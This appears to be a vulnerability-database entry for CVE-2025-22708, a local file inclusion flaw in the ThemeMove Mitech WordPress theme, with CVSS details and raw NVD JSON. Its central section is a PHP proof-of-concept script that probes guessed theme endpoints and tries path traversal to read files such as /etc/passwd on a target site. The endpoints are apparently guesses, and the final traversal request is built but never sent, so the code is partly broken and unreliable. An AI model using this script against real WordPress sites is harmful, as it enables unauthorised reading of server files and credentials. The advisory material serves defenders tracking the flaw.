Security Vulnerability Report
中文
CVE-2025-22708 CVSS 8.1 HIGH

CVE-2025-22708

Published: 2026-01-08 10:15:48
Last Modified: 2026-04-27 19:16:12

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove Mitech mitech allows PHP Local File Inclusion.This issue affects Mitech: from n/a through <= 2.3.4.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thememove:mitech:*:*:*:*:*:wordpress:*:* - VULNERABLE
Mitech主题 <= 2.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-22708 PoC - WordPress Mitech Theme Local File Inclusion * Affected: ThemeMove Mitech <= 2.3.4 * * Usage: php poc.php <target_url> [file_path] * Example: php poc.php http://target.com/wp-content/themes/mitech /etc/passwd */ $target = $argv[1] ?? ''; $file = $argv[2] ?? '/etc/passwd'; if (empty($target)) { echo "Usage: php poc.php <target_url> [file_path]\n"; exit(1); } // Common vulnerable endpoints in Mitech theme $vulnerable_paths = [ '/wp-content/themes/mitech/template-parts/ajax.php?file=', '/wp-content/themes/mitech/inc/ajax-handler.php?action=load_template&template=', '/wp-content/themes/mitech/functions.php?file=', '/wp-content/themes/mitech/assets/js/load-component.php?component=', ]; $decoded_file = urldecode($file); $encoded_file = urlencode($decoded_file); echo "[*] CVE-2025-22708 PoC - Mitech Theme LFI\n"; echo "[*] Target: $target\n"; echo "[*] File to read: $decoded_file\n\n"; foreach ($vulnerable_paths as $path) { $url = rtrim($target, '/') . $path . $encoded_file; echo "[+] Testing: $url\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[!] Potential LFI found at: $url\n"; echo "[*] File content preview:\n"; echo substr($response, 0, 500) . "\n"; break; } } // Alternative: Path traversal test echo "\n[*] Testing with path traversal: ../../../../../../$file\n"; $payload = str_repeat('../', 6) . $file; $url = rtrim($target, '/') . $vulnerable_paths[0] . urlencode($payload); echo "[+] Testing: $url\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-22708", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:47.600", "lastModified": "2026-04-27T19:16:11.723", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove Mitech mitech allows PHP Local File Inclusion.This issue affects Mitech: from n/a through <= 2.3.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thememove:mitech:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "2.3.4", "matchCriteriaId": "CB946FE5-E148-4B98-BB05-3A419DA0D0C9"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/mitech/vulnerability/wordpress-mitech-theme-2-3-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}